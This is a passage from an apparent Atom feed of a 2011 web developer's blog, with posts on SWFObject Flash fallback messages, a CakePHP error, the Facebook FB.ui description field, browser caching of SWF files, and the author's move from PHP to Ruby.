&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;noFlash message&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;It seems that you do not have the Flash player installed. Please install it, by &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://www.adobe.com/go/getflashplayer&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; target&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;_parent&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;following this link&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;error404 message&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Sorry, we were unable to load the game. Please try again in a few moments.&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, in CSS I decided to hide them both:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.alternateContent&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .message&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.alternateContent.noFlash&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .noFlash&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.alternateContent.error404&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .error404&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, in Javascript I checked for the current Flash version. If it&#39;s
equal to zero, it means that Flash is not installed, so I display the &lt;code&gt;noFlash&lt;/code&gt;
error message, otherwise, I guess it&#39;s a 404 error and display the other
message.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; flashVersion&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; swfobject&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getFlashPlayerVersion&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  alternateContent&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#alternateContent&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Displaying one message or the other&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;flashVersion&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;minor&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  alternateContent&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;addClass&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;noFlash&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  alternateContent&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;addClass&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;error404&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is not bulletproof: I only test for two cases. And a better solution would
also have been to put the error message dynamically using Javascript instead of
polluting the HTML markup with contradictory text.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>SWFObject must be included in the &lt;head&gt;</title>
    <link href="https://blog.pixelastic.com/2011/06/23/swfobject-display-alternate-content-head/"/>
    <updated>2011-06-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/23/swfobject-display-alternate-content-head</id>
    <content type="html">&lt;p&gt;We just discovered a strange behavior on one of our test VM (one without Flash
installed). I don&#39;t know how we&#39;ve missed it before.&lt;/p&gt;
&lt;p&gt;When embedding the main flash file of our application, the alternate content
wasn&#39;t displayed to players. In fact it seemed to be displayed very briefly then
disappear.&lt;/p&gt;
&lt;p&gt;I had correctly embeded it with the static publishing method and added a call
to &lt;code&gt;swfobject.registerObject&lt;/code&gt; to soften the edges. I remembered it working
correctly in my tests, so I quickly made a small test case.&lt;/p&gt;
&lt;p&gt;It occurs that the alternate content was corretcly displayed if I removed the
&lt;code&gt;swfobject.registerObject&lt;/code&gt; call and only used the static publishing.&lt;/p&gt;
&lt;p&gt;I also found that everything worked fine if I called the &lt;code&gt;swfobject.js&lt;/code&gt; file in
the &lt;code&gt;head&lt;/code&gt;, but started to bug when I moved it at the end of the page.&lt;/p&gt;
&lt;p&gt;As I didn&#39;t want to add a call to a .js file in my &lt;code&gt;head&lt;/code&gt;, I google a bit and I
finally found that one have to call &lt;code&gt;swfobject.switchOffAutoHideShow();&lt;/code&gt; right
before the &lt;code&gt;swfobject.registerObject&lt;/code&gt; call. This seems to fix things by not
hiding the alternate text&lt;/p&gt;
&lt;h2&gt;Edit&lt;/h2&gt;
&lt;p&gt;I spent some more hours trying to debug the last corner cases. We had a user
using Firefox 3.5.3 with Flash 10.0.42.34. Using SWFObject, we required at least
version 10.1. Unfortunatly, the app was still loading, but was buggy because of
features not present in the user flash version.&lt;/p&gt;
&lt;p&gt;After some tests, I discovered that the &lt;code&gt;swfobject.js&lt;/code&gt; code MUST be included in
the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of the document (well, before any &lt;code&gt;.swf&lt;/code&gt; in the page, so better put
it in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Doing so, you won&#39;t even need the previous fix
(&lt;code&gt;swfobject.switchOffAutoHideShow()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I would have loved putting it at the end of the page, with the others JS files,
but I guess I won&#39;t have a choice here.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #3: The long path to get it done</title>
    <link href="https://blog.pixelastic.com/2011/06/22/working-wednesday-3-long-path/"/>
    <updated>2011-06-22T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/22/working-wednesday-3-long-path</id>
    <content type="html">&lt;p&gt;This morning I started reading a lot of online blog post, framework description
and other webdev material online I had in my bookmarks. After reading them, I
saved them on my pinboard account to find them easily later.&lt;/p&gt;
&lt;p&gt;Lot of good JS and CSS framework/libraries in there, I hope to be able to test
them soon.&lt;/p&gt;
&lt;p&gt;I also check my mailbox and respond to mails from my normal job. I shouldn&#39;t.
I&#39;m on a day off, I have to force myself to completly cut out those external
calls.&lt;/p&gt;
&lt;h2&gt;Now, let&#39;s the work begin&lt;/h2&gt;
&lt;p&gt;Anyway, I finally finished the vimtutor. I still have a some difficulties to
remember the mapping of the basic hjkl movement keys (I always want use k to
move down instead of j). However, I feel confident enough in it to try writing
my new code in it.&lt;/p&gt;
&lt;p&gt;So, I headed to the Rails for Zombies tutorial. I thought it was free but the
&amp;quot;win $5 worth of online teaching&amp;quot; / &amp;quot;next course costs $5&amp;quot; make me doubt it a
little. Well, we&#39;ll see.&lt;/p&gt;
&lt;p&gt;After registering to it, I wanted to save my login and password to KeePass as I
always do.&lt;/p&gt;
&lt;p&gt;Unfortunatly, KeePass on my Ubuntu machine works by using mono, and the keyboard
interaction weren&#39;t that good (caret is slightly misplaced, inputs lags before
getting displayed, text selection is weird). So I thought &amp;quot;Hey, let&#39;s see if
there is a new version&amp;quot;. Big mistake.&lt;/p&gt;
&lt;p&gt;It appears that there was indeed a new version, a real one, with &lt;code&gt;apt-get&lt;/code&gt; and
stuff while mine was some hackish install I manually made a few month ago.&lt;/p&gt;
&lt;p&gt;But wait, this means manually adding a ppa directory. No big deal, I trust the
author. What? Still doesn&#39;t work? Hmm, I see. I need &lt;code&gt;mono&lt;/code&gt; 2.6, and I only have
2.4.&lt;/p&gt;
&lt;p&gt;What? 2.4 is the latest available version on Ubuntu 10.10? You mean I must
upgrade to 11.04? Hmm. Why not. I&#39;ll have to do it eventually, so let&#39;s go.&lt;/p&gt;
&lt;p&gt;So I ran all my updates, to have the most up to date system. Unfortunatly,
&lt;code&gt;language-pack-gnome-fr&lt;/code&gt; doesn&#39;t want to upgrade so the OS upgrade isn&#39;t
displayed.&lt;/p&gt;
&lt;h2&gt;Wait, what am I doing?&lt;/h2&gt;
&lt;p&gt;And that&#39;s when I remember that my initial wish was to learn Ruby on Rails and
that I was now on the road to upgrading my whole operating system. That is not
exactly speaking procrastination, but it makes me do so much other things that
my initial goal that I really looks like it.&lt;/p&gt;
&lt;p&gt;I finally managed to purge my packets, upgrade to 10.10 and then to 11.04. But
this took me 4 hours, and now it&#39;s 11PM and I guess I won&#39;t start this rails
tutorial today, after all.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>cakePHP: Fatal error: Class &#39;Controller&#39; not found</title>
    <link href="https://blog.pixelastic.com/2011/06/20/cakephp-fatal-error-class-controller/"/>
    <updated>2011-06-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/20/cakephp-fatal-error-class-controller</id>
    <content type="html">&lt;p&gt;Last Friday, just before turning off my computer and going home, the cake
project I&#39;m working on was displaying a scary
&lt;code&gt;Fatal error: Class &#39;Controller&#39; not found in /var/www/project/app/app_controller.php on line 5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Today, I&#39;m getting back to work and here&#39;s what happened. After a morning of
trial and error, I finally reverted back to a previous svn commit, then re-
updated to the latest one and it seemed to solve the issue.&lt;/p&gt;
&lt;p&gt;But later on the day, after another update, it started bugging again and the
error message wasn&#39;t very helpful.&lt;/p&gt;
&lt;p&gt;After much googling, this [bug
report](http://cakephp.lighthouseapp.com/projects/43067/tickets/26-class-
controller-not-found) gave me a hint: I had new models but didn&#39;t create the
corresponding tables. Strangely, creating the missing logs table for my Log
class solved the issue.&lt;/p&gt;
&lt;p&gt;Hope this blog post will be usefull for anyone else struggling with this error
message.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #2: Why I want to quit PHP</title>
    <link href="https://blog.pixelastic.com/2011/06/15/working-wednesday-2-quit-php/"/>
    <updated>2011-06-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/15/working-wednesday-2-quit-php</id>
    <content type="html">&lt;p&gt;Here it is: my first Wednesday off. Well, not completely off because I had a
technical meeting this whole morning, and my cousin dropped by in the evening
so... I finally didn&#39;t have as much time reading and learning as I wanted to.&lt;/p&gt;
&lt;p&gt;Anyway, those past weeks I started thinking about what I intended to learn, and
why. The main reason is that I want to be able to build website and apps faster,
with less hassle and better overall quality. And the more I thought about that,
the more it became obvious that PHP was the main bottleneck.&lt;/p&gt;
&lt;h2&gt;My journey accross PHP land&lt;/h2&gt;
&lt;p&gt;I&#39;ve been writing PHP for the last 12 years. I started as a script kiddy,
putting things together, hacking strings, saving stuff in databases, building my
own toolbox and finally making websites out of it.&lt;/p&gt;
&lt;p&gt;Then, as I started my first job in a web development company, I started to
organize stuff to be able to use and reuse code accross projects.&lt;/p&gt;
&lt;p&gt;Later, when I started as a freelancer, I learned cakePHP, and it let me much
more time to focus on each project while still reusing the common code of
previous projects easily.&lt;/p&gt;
&lt;h2&gt;PHP is just so easy&lt;/h2&gt;
&lt;p&gt;I can be considered a PHP coder. I have some years of experience to consolidate
that. Nevertheless, I don&#39;t consider myself &amp;quot;good&amp;quot; at PHP. I just write PHP, and
that&#39;s all.&lt;/p&gt;
&lt;p&gt;I think there isn&#39;t any flavour in writing PHP: it is so easy anyone can do it.
I don&#39;t feel like I know those special stuff that can make one an &amp;quot;expert&amp;quot;. PHP
just feels so easy, you just write code and it works.&lt;/p&gt;
&lt;p&gt;The only area where I can think that my years of experience can be used is in
tracking PHP bug or weird error messages (If you
haven&#39;t &lt;a href=&quot;http://www.phpsadness.com/&quot;&gt;read this website&lt;/a&gt;, go now).&lt;/p&gt;
&lt;p&gt;It just does not feel right to be able to say &lt;em&gt;&amp;quot;Yeah, you should work with me.
Why? Because my strength is that I&#39;m very good at understanding PHP bugs&amp;quot;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;There is no &amp;quot;PHP Philosophy&amp;quot;, no good practices that were kept in mind by PHP
lead developers when they wrote the language and they wanted us to follow.
Instead, we just have a bunch of functions, and play with it as in a sandbox.&lt;/p&gt;
&lt;h2&gt;Adding some pattern in this mess&lt;/h2&gt;
&lt;p&gt;Over the years you learn (the hard way) how to organise your code. PHP5 gives a
little hope by adding more OO features. No need to get back on the namespace
delimiter choice, this is one more example of the PHP weirdness we&#39;ll have to
work with.&lt;/p&gt;
&lt;p&gt;The best thing that happened to me in PHP world over those years is cakePHP. It
took me quite some time to get it, having to learn the whole MVC pattern (and
deal with some of cake internal inconsistencies/limitations) but the result was
worth it.&lt;/p&gt;
&lt;p&gt;A clear separation of model structure, controller logic and view rendering gave
me my sanity back. I does abstract a lot of things, and makes things cleaner on
the outside, you can just concentrate on writing your app code.&lt;/p&gt;
&lt;p&gt;But even with cakePHP, you still have to write PHP.&lt;/p&gt;
&lt;h2&gt;Summing up&lt;/h2&gt;
&lt;p&gt;So, to sum up, here are my feelings about PHP&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No peculiar love for the PHP syntax and (non-)patterns&lt;/li&gt;
&lt;li&gt;Growing list of bugs/inconsistencies you have to work with&lt;/li&gt;
&lt;li&gt;Don&#39;t feel like I&#39;m any better than any new PHP coder, no skill required&lt;/li&gt;
&lt;li&gt;Best thing in PHP is cakePHP, an external framework&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&#39;s why PHP is the first language I&#39;ll drop in my new learning, and I&#39;ll
replace it with Ruby.&lt;/p&gt;
&lt;p&gt;Ruby seems to fit more in my vision of a language that tells its developers what
are the good and bad way of writing code. And as cakePHP is largely based upon
Rails, I think catching up won&#39;t be too difficult.&lt;/p&gt;
&lt;p&gt;Also, Rails just realease it&#39;s version 3, so now the best time to learn it from
scratch.&lt;/p&gt;
&lt;h2&gt;Next week&lt;/h2&gt;
&lt;p&gt;This first day off was much shorter than I expected it to be. I wanted to start
coding some Rails code, following the Rails for Zombies tutorial. I also had
plans for using vim a little more.&lt;/p&gt;
&lt;p&gt;Next week I might write about vim, or maybe how to organize javascript code,
depending on the time I had.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Ghost posting on FB.ui streams</title>
    <link href="https://blog.pixelastic.com/2011/06/06/ghost-posting-fb-ui-streams/"/>
    <updated>2011-06-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/06/ghost-posting-fb-ui-streams</id>
    <content type="html">&lt;p&gt;We had a bit of an issue when launching our app a few weeks ago. Everything was
working fine on our test apps, but when live, all the stream messages we posted
(we call them &amp;quot;Sharings&amp;quot;) had a random text appended.&lt;/p&gt;
&lt;p&gt;Most of the time it was a generic Facebook text, but sometimes it was a creepier
SQL request just displayed plain on the user feed.&lt;/p&gt;
&lt;p&gt;The Facebook text was (for the sake of search engine goodness):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Facebook is a social utility that connects people with friends and others who
work, study and live around them. People use Facebook to keep up with friends,
upload an unlimited number of photos, post links and videos, and learn more
about the people they meet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As the issue only occurs in production mode and never on any of our test
environments, this was pretty difficult to debug.&lt;/p&gt;
&lt;p&gt;Here was the code used to post the Sharing:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;FB&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ui&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &#39;title&#39; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Title of the Sharing&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;caption&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Text of the Sharing&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As I later found out, the &lt;code&gt;caption&lt;/code&gt; key is not supposed to hold the Sharing
text. The &lt;code&gt;description&lt;/code&gt; key should be used for that. I&#39;m not exactly sure was
&lt;code&gt;caption&lt;/code&gt; was for, but it seems that if you let the &lt;code&gt;description&lt;/code&gt; key empty,
then Facebook fills it automatically with a placeholder text.&lt;/p&gt;
&lt;p&gt;The solution simply was to put the text in the &lt;code&gt;description&lt;/code&gt; text, and leaving
the &lt;code&gt;caption&lt;/code&gt; key empty:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;FB&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ui&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;title&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Title of the Sharing&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;caption&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;description&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Text of the Sharing&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As this behaviour is counter-intuitive, undocumented and random, I think posting
it here could help other lost souls like me.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>SWF caching issues accross browsers</title>
    <link href="https://blog.pixelastic.com/2011/06/03/browser-caching-behavior/"/>
    <updated>2011-06-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/03/browser-caching-behavior</id>
    <content type="html">&lt;p&gt;Here are some quick notes on various browser caching behavior. I was fiddling
with Wireshark to optimise my caching strategy and found some quirks one should
be aware of.&lt;/p&gt;
&lt;p&gt;First, let&#39;s define some reload vocabulary.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;initial load&lt;/strong&gt; is the first time the page is loaded, when the cache is
empty.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;hard reload&lt;/strong&gt; is the classical reload. Clicking the Reload icon, or pressing
Ctrl+R / F5.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;link reload&lt;/strong&gt; is when the page is loaded again after you click on a link to
it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;soft reload&lt;/strong&gt; will be loading the page again by pressing enter in the
address bar&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;navigational reload&lt;/strong&gt; is the reloading of a page that occurs while using the
previous/next buttons.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the rest of this blog post, we will assume an HTML page loading the same
.jpg file multiple times and the same swf file multiple times too (we will use
both IE specific and general swf markup).&lt;/p&gt;
&lt;p&gt;The html itself is not cached.&lt;/p&gt;
&lt;p&gt;Also, all those static assets will have a &lt;code&gt;Cache-Control:max-age=29030400&lt;/code&gt;
header.&lt;/p&gt;
&lt;p&gt;All the network tests have been made using Wireshark.&lt;/p&gt;
&lt;h2&gt;Chrome&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Initial load&lt;/strong&gt;: Download of jpg and swf once each. Perfect.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Link reload &amp;amp; navigational reload&lt;/strong&gt;: Nor jpg nor swf is loaded again. Perfect.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Soft reload &amp;amp; hard reload&lt;/strong&gt;: The jpg is downloaded again but not the swf.
Chrome sends a &lt;code&gt;Cache-Control:max-age=0&lt;/code&gt; header to the jpg request, to force
loading it again.&lt;/p&gt;
&lt;p&gt;Reloading images is a standard behavior on images, but I wouldn&#39;t have expected
it on soft reloads.&lt;/p&gt;
&lt;h2&gt;Safari 5 Win&lt;/h2&gt;
&lt;p&gt;Safari behaves much like Chrome, with one important difference. It does not
cache swf files at all.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Initial load&lt;/strong&gt;: The jpg gets downloaded perfectly, but the swf gets downloaded
multiple times, one per instance.&lt;/p&gt;
